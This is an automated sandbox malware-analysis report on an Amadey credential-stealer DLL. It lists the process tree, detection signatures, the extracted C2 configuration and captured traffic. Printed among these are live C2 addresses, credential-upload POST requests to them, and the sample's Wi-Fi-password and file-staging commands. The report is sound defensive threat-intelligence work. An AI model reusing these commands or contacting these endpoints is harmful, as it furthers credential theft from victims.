Edit tour

Windows Analysis Report
hoPazBDFG9.dll

Overview

General Information

Sample name:	hoPazBDFG9.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original sample name:	c6aabb27450f1a9939a417e86bf53217.dll.exe
Analysis ID:	1574267
MD5:	c6aabb27450f1a9939a417e86bf53217
SHA1:	b8ef3bb7575139fd6997379415d7119e452b5fc4
SHA256:	b91a3743c7399aee454491862e015ef6fc668a25d1aa2816e065a86a03f6be35
Tags:	Amadeydllexeuser-abuse_ch
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys stealer DLL

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Loading BitLocker PowerShell Module

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Instant Messenger accounts or passwords

Uses netsh to modify the Windows network and firewall settings

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 6696 cmdline: loaddll64.exe "C:\Users\user\Desktop\hoPazBDFG9.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6748 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 6780 cmdline: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 6832 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 6848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7128 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 6756 cmdline: rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 6840 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 6856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7156 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7104 cmdline: rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Save MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 2896 cmdline: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 5148 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6680 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 5700 cmdline: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Save MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.81.68.148/8Fvu5jh4DbS/index.php", "Version": "5.10"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
hoPazBDFG9.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6780, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7128, ProcessName: powershell.exe

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6780, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7128, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6780, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7128, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6780, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 6832, ProcessName: netsh.exe

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M6

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:49:05.770953+0100	2856150	1	A Network Trojan was detected	192.168.2.12	49713	185.81.68.148	80	TCP
2024-12-13T07:49:05.771904+0100	2856150	1	A Network Trojan was detected	192.168.2.12	49712	185.81.68.148	80	TCP
2024-12-13T07:49:11.169983+0100	2856150	1	A Network Trojan was detected	192.168.2.12	49715	185.81.68.148	80	TCP

ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:49:04.299156+0100	2855239	1	A Network Trojan was detected	192.168.2.12	49710	185.81.68.147	80	TCP
2024-12-13T07:49:04.319298+0100	2855239	1	A Network Trojan was detected	192.168.2.12	49711	185.81.68.147	80	TCP
2024-12-13T07:49:05.770953+0100	2855239	1	A Network Trojan was detected	192.168.2.12	49713	185.81.68.148	80	TCP
2024-12-13T07:49:05.771904+0100	2855239	1	A Network Trojan was detected	192.168.2.12	49712	185.81.68.148	80	TCP
2024-12-13T07:49:09.706078+0100	2855239	1	A Network Trojan was detected	192.168.2.12	49714	185.81.68.147	80	TCP
2024-12-13T07:49:11.169983+0100	2855239	1	A Network Trojan was detected	192.168.2.12	49715	185.81.68.148	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=14	Avira URL Cloud: Label: malware
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1s	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1r	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php0	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.phpU	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1h	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php&	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1l	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php7	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php?wal=1shell32.dll	Avira URL Cloud: Label: malware
Source: http://185.81.68.148/ta;	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.phpL	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php?wal=1r	Avira URL Cloud: Label: malware
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=18	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php?wal=1tes	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php?wal=1	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php?wal=1nes	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1X	Avira URL Cloud: Label: malware
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php	Avira URL Cloud: Label: phishing

Found malware configuration

Source: hoPazBDFG9.dll

Malware Configuration Extractor: Amadey {"C2 url": "185.81.68.148/8Fvu5jh4DbS/index.php", "Version": "5.10"}

Multi AV Scanner detection for submitted file

Source: hoPazBDFG9.dll

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Source: hoPazBDFG9.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 31bf3856ad364e35corlib.pdb&j source: powershell.exe, 0000000E.00000002.2549946104.00000200B2CF2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbU source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lambda_methodb.pdbm source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb source: powershell.exe, 0000000E.00000002.2553287177.00000200B2D30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbrce" -or source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb@>= source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbs source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 0000000E.00000002.2556699668.00000200B2DBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 0000000E.00000002.2545839869.00000200B2B0E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb45 source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbD source: powershell.exe, 0000000E.00000002.2549165332.00000200B2C92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000E.00000002.2556699668.00000200B2DBA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2448166359.00000200988F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2639813053.0000022EC631D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2549165332.00000200B2C92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb* source: powershell.exe, 0000000E.00000002.2556699668.00000200B2DBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbX source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbt source: powershell.exe, 0000000E.00000002.2549946104.00000200B2CAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb% source: powershell.exe, 0000000E.00000002.2544640898.00000200B2ACE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000014.00000002.2635471781.0000022EC6029000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Mktmp\StealerDLL\x64\Release\STEALERDLL.pdb source: hoPazBDFG9.dll
Source:	Binary string: softy.pdb.catK source: powershell.exe, 0000000E.00000002.2549946104.00000200B2CAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb= source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.12:49713 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.12:49713 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.12:49710 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.12:49715 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.12:49715 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.12:49714 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.12:49712 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.12:49712 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.12:49711 -> 185.81.68.147:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 185.81.68.147 80			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 185.81.68.148 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.81.68.148

Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYxMw==Host: 185.81.68.147Content-Length: 4773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYxMw==Host: 185.81.68.147Content-Length: 4773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYxMw==Host: 185.81.68.148Content-Length: 4773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYxMw==Host: 185.81.68.148Content-Length: 4773Cache-Control: no-cache

Source: Joe Sandbox View	ASN Name: KLNOPT-ASFI KLNOPT-ASFI
Source: Joe Sandbox View	ASN Name: KLNOPT-ASFI KLNOPT-ASFI

Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147

Source: unknown

HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=

Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.2651449629.0000016386D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php7
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php?wal=1
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php?wal=1nes
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php?wal=1r
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php?wal=1shell32.dll
